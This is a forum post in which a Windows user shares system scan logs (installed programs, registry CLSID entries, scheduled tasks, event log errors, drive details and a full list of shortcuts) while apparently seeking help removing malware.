Full Tilt Poker (HKLM\...\{D4C9692E-4EFA-4DA0-8B7F-9439466D9E31}) (Version: 5.8.2.WIN.FullTilt.COM - )
Grand Parker Casino (HKLM\...\{65a1e71d-b904-4e29-b800-0ab36cd4fbd6}) (Version: 13.1.0-RTG - RealTimeGaming Software)
Graphic Equalizer Studio 2015 (HKLM\...\Graphic Equalizer Studio 2015) (Version: 2015 - PAS-Products)
Hoyle Card Games 2011 (remove only) (HKLM\...\Hoyle Card Games 2011) (Version: - )
iTunes (HKLM\...\{616445AF-BBCF-41C1-A4D6-8CFF171C182D}) (Version: 11.1.4.62 - Apple Inc.)
Malwarebytes Anti-Malware version 2.0.4.1028 (HKLM\...\Malwarebytes Anti-Malware_is1) (Version: 2.0.4.1028 - Malwarebytes Corporation)
Microsoft Visual C++ 2005 Redistributable (HKLM\...\{7299052b-02a4-4627-81f2-1818da5d550d}) (Version: 8.0.56336 - Microsoft Corporation)
Mozilla Firefox 36.0.1 (x86 en-US) (HKLM\...\Mozilla Firefox 36.0.1 (x86 en-US)) (Version: 36.0.1 - Mozilla)
Mozilla Maintenance Service (HKLM\...\MozillaMaintenanceService) (Version: 29.0.1 - Mozilla)
Odyssey Client (HKLM\...\{99D42EC7-652B-4819-B3E6-6450C815E03F}) (Version: 2.00.00.00 - Funk Software)
Wireless-B PCI Adapter (HKLM\...\{5C6956F3-B586-4674-BCD0-CCF7EC1DF766}) (Version: - )

==================== Custom CLSID (selected items): ==========================

(If an entry is included in the fixlist, it will be removed from registry. Any eventual file will not be moved.)

CustomCLSID: HKU\S-1-5-21-1360264287-3610818973-3505073857-1000_Classes\CLSID\{532AB48C-C0A7-4727-B3AE-756388FF043A}\localserver32 -> c:\program files\grand parker casino\casino.exe (Realtime Gaming, Inc)
CustomCLSID: HKU\S-1-5-21-1360264287-3610818973-3505073857-1000_Classes\CLSID\{56CBD3CF-BF99-4DF5-851F-F5B9B57496A1}\InprocServer32 -> C:\ProgramData\{D9E629DC-CB1C-4A97-9900-81922B4EFFD4}\fwcfg.dll (Microsoft Corporation)

==================== Restore Points =========================

==================== Hosts content: ==========================

(If needed Hosts: directive could be included in the fixlist to reset Hosts.)

2009-07-13 22:04 - 2015-03-08 23:45 - 00000035 ____A C:\Windows\system32\Drivers\etc\hosts

==================== Scheduled Tasks (whitelisted) =============

(If an entry is included in the fixlist, it will be removed from registry. Any associated file could be listed separately to be moved.)

Task: {A2966CD3-B365-4C0B-A90F-8708BA131C1E} - System32\Tasks\Apple\AppleSoftwareUpdate => C:\Program Files\Apple Software Update\SoftwareUpdate.exe [2011-06-01] (Apple Inc.)
Task: {E0951792-502F-4366-81C8-1F0B993D0DF8} - System32\Tasks\Adobe Flash Player Updater => C:\Windows\system32\Macromed\Flash\FlashPlayerUpdateService.exe [2015-03-03] (Adobe Systems Incorporated)

(If an entry is included in the fixlist, the task (.job) file will be moved. The file which is running by the task will not be moved.)

Task: C:\Windows\Tasks\Adobe Flash Player Updater.job => C:\Windows\system32\Macromed\Flash\FlashPlayerUpdateService.exe

==================== Loaded Modules (whitelisted) ==============

2014-01-20 14:17 - 2014-01-20 14:17 - 00073544 _____ () C:\Program Files\Common Files\Apple\Apple Application Support\zlib1.dll
2014-01-20 14:16 - 2014-01-20 14:16 - 01044808 _____ () C:\Program Files\Common Files\Apple\Apple Application Support\libxml2.dll
2005-08-18 18:08 - 2005-08-18 18:08 - 00077824 ____N () C:\Program Files\Belkin\PCI F5D7000\Wireless Utility\BelkinwcuiDLL.dll
2005-08-18 18:08 - 2005-08-18 18:08 - 00061440 ____N () C:\Program Files\Belkin\PCI F5D7000\Wireless Utility\BelkinHWStatus.dll
2015-02-23 14:19 - 2003-11-22 15:26 - 00024576 _____ () C:\Program Files\Linksys\Wireless-B PCI Adapter\OdHost.exe

==================== Alternate Data Streams (whitelisted) =========

(If an entry is included in the fixlist, only the Alternate Data Streams will be removed.)

AlternateDataStreams: C:\Windows\boot.mng:ldr

==================== Safe Mode (whitelisted) ===================

(If an item is included in the fixlist, it will be removed from the registry. The "AlternateShell" will be restored.)

==================== EXE Association (whitelisted) ===============

(If an entry is included in the fixlist, the default will be restored. None default entries will be removed.)

==================== Other Areas ============================

(Currently there is no automatic fix for this section.)

HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\Control Panel\Desktop\\Wallpaper -> C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper.jpg
DNS Servers: 192.168.1.254

==================== MSCONFIG/TASK MANAGER disabled items ==

(Currently there is no automatic fix for this section.)

==================== Accounts: =============================

Administrator (S-1-5-21-1360264287-3610818973-3505073857-500 - Administrator - Disabled)
Guest (S-1-5-21-1360264287-3610818973-3505073857-501 - Limited - Disabled)
HomeGroupUser$ (S-1-5-21-1360264287-3610818973-3505073857-1002 - Limited - Enabled)
Tim (S-1-5-21-1360264287-3610818973-3505073857-1000 - Administrator - Enabled) => C:\Users\Tim

==================== Faulty Device Manager Devices =============

Name: Teredo Tunneling Pseudo-Interface
Description: Microsoft Teredo Tunneling Adapter
Class Guid: {4d36e972-e325-11ce-bfc1-08002be10318}
Manufacturer: Microsoft
Service: tunnel
Problem: : This device cannot start. (Code10)
Resolution: Device failed to start. Click "Update Driver" to update the drivers for this device.
On the "General Properties" tab of the device, click "Troubleshoot" to start the troubleshooting wizard.

==================== Event log errors: =========================

Application errors:
==================
Error: (03/10/2015 01:18:03 PM) (Source: Microsoft-Windows-CAPI2) (EventID: 4107) (User: )
Description: Failed extract of third-party root list from auto update cab at: <http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab> with error: A required certificate is not within its validity period when verifying against the current system clock or the timestamp in the signed file.
.

Error: (03/10/2015 01:18:03 PM) (Source: Microsoft-Windows-CAPI2) (EventID: 4107) (User: )
Description: Failed extract of third-party root list from auto update cab at: <http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab> with error: A required certificate is not within its validity period when verifying against the current system clock or the timestamp in the signed file.
.

Error: (03/10/2015 01:17:39 PM) (Source: Microsoft-Windows-CAPI2) (EventID: 4107) (User: )
Description: Failed extract of third-party root list from auto update cab at: <http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab> with error: A required certificate is not within its validity period when verifying against the current system clock or the timestamp in the signed file.
.

Error: (03/10/2015 01:17:39 PM) (Source: Microsoft-Windows-CAPI2) (EventID: 4107) (User: )
Description: Failed extract of third-party root list from auto update cab at: <http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab> with error: A required certificate is not within its validity period when verifying against the current system clock or the timestamp in the signed file.
.

Error: (03/08/2015 11:57:51 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: plugin-container.exe, version: 36.0.1.5542, time stamp: 0x54f851c0
Faulting module name: mozalloc.dll, version: 36.0.1.5542, time stamp: 0x54f8437e
Exception code: 0x80000003
Fault offset: 0x00001e02
Faulting process id: 0x1494
Faulting application start time: 0xplugin-container.exe0
Faulting application path: plugin-container.exe1
Faulting module path: plugin-container.exe2
Report Id: plugin-container.exe3

System errors:
=============
Error: (03/10/2015 07:08:57 PM) (Source: Service Control Manager) (EventID: 7024) (User: )
Description: The HomeGroup Listener service terminated with service-specific error %%-2147023143.

Error: (03/10/2015 01:13:19 PM) (Source: Service Control Manager) (EventID: 7024) (User: )
Description: The HomeGroup Listener service terminated with service-specific error %%-2147023143.

Error: (03/10/2015 01:12:54 PM) (Source: EventLog) (EventID: 6008) (User: )
Description: The previous system shutdown at 3:12:04 PM on ‎3/‎9/‎2015 was unexpected.

Error: (03/09/2015 02:18:34 PM) (Source: Service Control Manager) (EventID: 7024) (User: )
Description: The HomeGroup Listener service terminated with service-specific error %%-2147023143.

Error: (03/08/2015 09:09:23 PM) (Source: DCOM) (EventID: 10010) (User: )
Description: {AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}

Error: (03/08/2015 09:08:51 PM) (Source: Service Control Manager) (EventID: 7024) (User: )
Description: The HomeGroup Listener service terminated with service-specific error %%-2147023143.

Error: (03/08/2015 09:07:49 PM) (Source: EventLog) (EventID: 6008) (User: )
Description: The previous system shutdown at 9:06:35 PM on ‎3/‎8/‎2015 was unexpected.

Error: (03/08/2015 08:46:16 PM) (Source: DCOM) (EventID: 10010) (User: )
Description: {AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}

Error: (03/08/2015 08:45:47 PM) (Source: Service Control Manager) (EventID: 7024) (User: )
Description: The HomeGroup Listener service terminated with service-specific error %%-2147023143.

Error: (03/08/2015 08:44:38 PM) (Source: EventLog) (EventID: 6008) (User: )
Description: The previous system shutdown at 8:43:13 PM on ‎3/‎8/‎2015 was unexpected.

Microsoft Office Sessions:
=========================
Error: (03/10/2015 01:18:03 PM) (Source: Microsoft-Windows-CAPI2) (EventID: 4107) (User: )
Description: http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabA required certificate is not within its validity period when verifying against the current system clock or the timestamp in the signed file.

Error: (03/10/2015 01:18:03 PM) (Source: Microsoft-Windows-CAPI2) (EventID: 4107) (User: )
Description: http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabA required certificate is not within its validity period when verifying against the current system clock or the timestamp in the signed file.

Error: (03/10/2015 01:17:39 PM) (Source: Microsoft-Windows-CAPI2) (EventID: 4107) (User: )
Description: http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabA required certificate is not within its validity period when verifying against the current system clock or the timestamp in the signed file.

Error: (03/10/2015 01:17:39 PM) (Source: Microsoft-Windows-CAPI2) (EventID: 4107) (User: )
Description: http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabA required certificate is not within its validity period when verifying against the current system clock or the timestamp in the signed file.

Error: (03/08/2015 11:57:51 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: plugin-container.exe36.0.1.554254f851c0mozalloc.dll36.0.1.554254f8437e8000000300001e02149401d05a1cd48a10c4C:\Program Files\Mozilla Firefox\plugin-container.exeC:\Program Files\Mozilla Firefox\mozalloc.dll7471f2e9-c610-11e4-966a-001150d581c0

CodeIntegrity Errors:
===================================
Date: 2015-03-05 13:44:43.419
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\eq apo\EqualizerAPO.dll because the set of per-page image hashes could not be found on the system.

Date: 2015-03-05 13:44:31.987
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\eq apo\EqualizerAPO.dll because the set of per-page image hashes could not be found on the system.

Date: 2015-03-05 13:44:30.983
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\eq apo\EqualizerAPO.dll because the set of per-page image hashes could not be found on the system.

Date: 2015-03-05 13:44:17.951
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\eq apo\EqualizerAPO.dll because the set of per-page image hashes could not be found on the system.

Date: 2015-03-05 13:44:17.301
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\eq apo\EqualizerAPO.dll because the set of per-page image hashes could not be found on the system.

Date: 2015-03-05 13:44:02.364
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\eq apo\EqualizerAPO.dll because the set of per-page image hashes could not be found on the system.

Date: 2015-03-05 13:43:58.095
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\eq apo\EqualizerAPO.dll because the set of per-page image hashes could not be found on the system.

Date: 2015-03-05 13:43:53.972
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\eq apo\EqualizerAPO.dll because the set of per-page image hashes could not be found on the system.

Date: 2015-03-05 13:43:52.820
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\eq apo\EqualizerAPO.dll because the set of per-page image hashes could not be found on the system.

Date: 2015-03-05 13:43:50.809
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\eq apo\EqualizerAPO.dll because the set of per-page image hashes could not be found on the system.

==================== Memory info ===========================

Processor: AMD Athlon(tm) 7750 Dual-Core Processor
Percentage of memory in use: 51%
Total physical RAM: 2813.09 MB
Available physical RAM: 1354.11 MB
Total Pagefile: 5624.46 MB
Available Pagefile: 3514.93 MB
Total Virtual: 2047.88 MB
Available Virtual: 1870.02 MB

==================== Drives ================================

Drive c: () (Fixed) (Total:119.14 GB) (Free:32.32 GB) NTFS
Drive d: (Storeage) (Fixed) (Total:117.19 GB) (Free:78.08 GB) NTFS
Drive e: (Backup) (Fixed) (Total:115.7 GB) (Free:115.6 GB) NTFS

==================== MBR & Partition Table ==================

========================================================
Disk: 0 (Size: 232.9 GB) (Disk ID: 07C83D2F)
Partition 1: (Not Active) - (Size=117.2 GB) - (Type=07 NTFS)
Partition 2: (Not Active) - (Size=115.7 GB) - (Type=OF Extended)

========================================================
Disk: 1 (MBR Code: Windows 7 or 8) (Size: 119.2 GB) (Disk ID: DBA13AAE)
Partition 1: (Active) - (Size=100 MB) - (Type=07 NTFS)
Partition 2: (Not Active) - (Size=119.1 GB) - (Type=07 NTFS)

==================== End Of Log ============================


----------



## timmy12342 (Mar 7, 2015)

Users shortcut scan result (x86) Version: 10-03-2015
Ran by Tim at 2015-03-10 19:11:45
Running from C:\Users\Tim\Downloads
Boot Mode: Normal
==================== Shortcuts =============================
(The entries could be listed to be restored or removed.)

Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Graphic Equalizer Studio 2015.lnk -> D:\graphic eq\Eq32Studio.exe ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe Reader XI.lnk -> C:\Windows\Installer\{AC76BA86-7AD7-1033-7B44-AB0000000001}\SC_Reader.ico ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Apple Software Update.lnk -> C:\Windows\Installer\{789A5B64-9DD9-4BA5-915A-F0FC0A1B7BFE}\AppleSoftwareUpdateIco.exe ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Media Center.lnk -> C:\Windows\ehome\ehshell.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk -> C:\Program Files\Mozilla Firefox\firefox.exe (Mozilla Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows DVD Maker.lnk -> C:\Program Files\DVD Maker\DVDMaker.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Fax and Scan.lnk -> C:\Windows\System32\WFS.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\XPS Viewer.lnk -> C:\Windows\System32\xpsrchvw.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Wireless-B PCI Adapter\Wireless-B PCI Adapter Utility.lnk -> C:\Program Files\Linksys\Wireless-B PCI Adapter\WMP11CFG.exe (The Linksys Group, Inc.)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Wireless-B Notebook Adapter Utility.lnk -> C:\Program Files\Linksys\Wireless-B PCI Adapter\Startup.exe ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes Anti-Malware\Malwarebytes Anti-Malware.lnk -> D:\Malwarebytes Anti-Malware\mbam.exe (Malwarebytes Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes Anti-Malware\Uninstall Malwarebytes Anti-Malware.lnk -> D:\Malwarebytes Anti-Malware\unins000.exe ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes Anti-Malware\Tools\Malwarebytes Anti-Malware Chameleon.lnk -> D:\Malwarebytes Anti-Malware\Chameleon\Windows\chameleon.chm ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance\Create Recovery Disc.lnk -> C:\Windows\System32\recdisc.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance\Remote Assistance.lnk -> C:\Windows\System32\msra.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\iTunes\About iTunes.lnk -> D:\iTunes\iTunes.Resources\en.lproj\About iTunes.rtf ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\iTunes\iTunes.lnk -> D:\iTunes\iTunes.exe (Apple Inc.)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Hoyle®\Hoyle Card Games 2011\Hoyle Card Games 2011.lnk -> D:\Hoyle Card Games 2011\Hoyle Card Games.exe ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Hoyle®\Hoyle Card Games 2011\Uninstall Hoyle Card Games 2011.lnk -> D:\Hoyle Card Games 2011\Uninstall.exe ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Hoyle®\Hoyle Card Games 2011\User Guide.lnk -> D:\Hoyle Card Games 2011\Hoyle Card Games Help.pdf ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Graphic Equalizer Studio 2015\Graphic Equalizer Studio 2015.lnk -> D:\graphic eq\Eq32Studio.exe ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Graphic Equalizer Studio 2015\Helpfile Graphic Equalizer Studio.lnk -> D:\graphic eq\Help\Graphic Equalizer Studio.html ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Graphic Equalizer Studio 2015\Info.lnk -> D:\graphic eq\Info.txt ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Graphic Equalizer Studio 2015\Uninstall Graphic Equalizer Studio 2015.lnk -> D:\graphic eq\Graphic Equalizer Studio 2015_22470.exe (Pantaray Research Ltd.)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Grand Parker Casino\Grand Parker Casino.lnk -> C:\Program Files\Grand Parker Casino\casino.exe (Realtime Gaming, Inc)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Full Tilt Poker\Full Tilt Poker.lnk -> D:\fulltilt\FullTiltPoker.exe ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Full Tilt Poker\Uninstall Full Tilt Poker.lnk -> D:\fulltilt\uninstall.exe ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Belkin\Wireless Networking Utility\Belkin Wireless Utility.lnk -> C:\Program Files\Belkin\PCI F5D7000\Wireless Utility\Belkinwcui.exe (Belkin)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Component Services.lnk -> C:\Windows\System32\comexp.msc ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Data Sources (ODBC).lnk -> C:\Windows\System32\odbcad32.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\iSCSI Initiator.lnk -> C:\Windows\System32\iscsicpl.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Memory Diagnostics Tool.lnk -> C:\Windows\System32\MdSched.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Print Management.lnk -> C:\Windows\System32\printmanagement.msc ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\services.lnk -> C:\Windows\System32\services.msc ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\System Configuration.lnk -> C:\Windows\System32\msconfig.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Windows Firewall with Advanced Security.lnk -> C:\Windows\System32\WF.msc ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Calculator.lnk -> C:\Windows\System32\calc.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\displayswitch.lnk -> C:\Windows\System32\displayswitch.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Math Input Panel.lnk -> C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\NetworkProjection.lnk -> C:\Windows\System32\NetProj.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Paint.lnk -> C:\Windows\System32\mspaint.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Remote Desktop Connection.lnk -> C:\Windows\System32\mstsc.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Snipping Tool.lnk -> C:\Windows\System32\SnippingTool.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Sound Recorder.lnk -> C:\Windows\System32\SoundRecorder.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Sticky Notes.lnk -> C:\Windows\System32\StikyNot.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Sync Center.lnk -> C:\Windows\System32\mobsync.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Wordpad.lnk -> C:\Program Files\Windows NT\Accessories\wordpad.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell ISE.lnk -> C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell_ISE.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk -> C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Tablet PC\ShapeCollector.lnk -> C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Tablet PC\TabTip.lnk -> C:\Program Files\Common Files\Microsoft Shared\ink\TabTip.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Tablet PC\Windows Journal.lnk -> C:\Program Files\Windows Journal\Journal.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Character Map.lnk -> C:\Windows\System32\charmap.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\dfrgui.lnk -> C:\Windows\System32\dfrgui.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Disk Cleanup.lnk -> C:\Windows\System32\cleanmgr.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\System Information.lnk -> C:\Windows\System32\msinfo32.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\System Restore.lnk -> C:\Windows\System32\rstrui.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Windows Easy Transfer Reports.lnk -> C:\Windows\System32\migwiz\PostMig.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Windows Easy Transfer.lnk -> C:\Windows\System32\migwiz\migwiz.exe (Microsoft Corporation)
Shortcut: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Command Prompt.lnk -> C:\Windows\System32\cmd.exe (Microsoft Corporation)
Shortcut: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Notepad.lnk -> C:\Windows\System32\notepad.exe (Microsoft Corporation)
Shortcut: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Windows Explorer.lnk -> C:\Windows\explorer.exe (Microsoft Corporation)
Shortcut: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Private Character Editor.lnk -> C:\Windows\System32\eudcedit.exe (Microsoft Corporation)
Shortcut: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Magnify.lnk -> C:\Windows\System32\Magnify.exe (Microsoft Corporation)
Shortcut: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Narrator.lnk -> C:\Windows\System32\Narrator.exe (Microsoft Corporation)
Shortcut: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\On-Screen Keyboard.lnk -> C:\Windows\System32\osk.exe (Microsoft Corporation)
Shortcut: C:\Users\Public\Desktop\Adobe Reader XI.lnk -> C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exe (Adobe Systems Incorporated)
Shortcut: C:\Users\Public\Desktop\Belkin Wireless Utility.lnk -> C:\Program Files\Belkin\PCI F5D7000\Wireless Utility\Belkinwcui.exe (Belkin)
Shortcut: C:\Users\Public\Desktop\Full Tilt Poker.lnk -> D:\fulltilt\FullTiltPoker.exe ()
Shortcut: C:\Users\Public\Desktop\Grand Parker Casino.lnk -> C:\Program Files\Grand Parker Casino\casino.exe (Realtime Gaming, Inc)
Shortcut: C:\Users\Public\Desktop\Graphic Equalizer Studio 2015.lnk -> D:\graphic eq\Eq32Studio.exe ()
Shortcut: C:\Users\Public\Desktop\Hoyle Card Games 2011.lnk -> D:\Hoyle Card Games 2011\Hoyle Card Games.exe ()
Shortcut: C:\Users\Public\Desktop\iTunes.lnk -> D:\iTunes\iTunes.exe (Apple Inc.)
Shortcut: C:\Users\Public\Desktop\Malwarebytes Anti-Malware.lnk -> D:\Malwarebytes Anti-Malware\mbam.exe (Malwarebytes Corporation)
Shortcut: C:\Users\Public\Desktop\Mozilla Firefox.lnk -> C:\Program Files\Mozilla Firefox\firefox.exe (Mozilla Corporation)
Shortcut: C:\Users\Tim\Links\Desktop.lnk -> C:\Users\Tim\Desktop ()
Shortcut: C:\Users\Tim\Links\Downloads.lnk -> C:\Users\Tim\Downloads ()
Shortcut: C:\Users\Tim\Desktop\BitTorrent.lnk -> C:\Users\Tim\AppData\Roaming\BitTorrent\BitTorrent.exe (BitTorrent Inc.)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\BitTorrent.lnk -> C:\Users\Tim\AppData\Roaming\BitTorrent\BitTorrent.exe (BitTorrent Inc.)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk -> C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Command Prompt.lnk -> C:\Windows\System32\cmd.exe (Microsoft Corporation)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Notepad.lnk -> C:\Windows\System32\notepad.exe (Microsoft Corporation)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Windows Explorer.lnk -> C:\Windows\explorer.exe (Microsoft Corporation)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Private Character Editor.lnk -> C:\Windows\System32\eudcedit.exe (Microsoft Corporation)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Magnify.lnk -> C:\Windows\System32\Magnify.exe (Microsoft Corporation)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Narrator.lnk -> C:\Windows\System32\Narrator.exe (Microsoft Corporation)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\On-Screen Keyboard.lnk -> C:\Windows\System32\osk.exe (Microsoft Corporation)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\BitTorrent.lnk -> C:\Users\Tim\AppData\Roaming\BitTorrent\BitTorrent.exe (BitTorrent Inc.)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk -> C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk -> C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk -> C:\Program Files\Mozilla Firefox\firefox.exe (Mozilla Corporation)
Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Windows Explorer.lnk -> C:\Windows\explorer.exe (Microsoft Corporation)
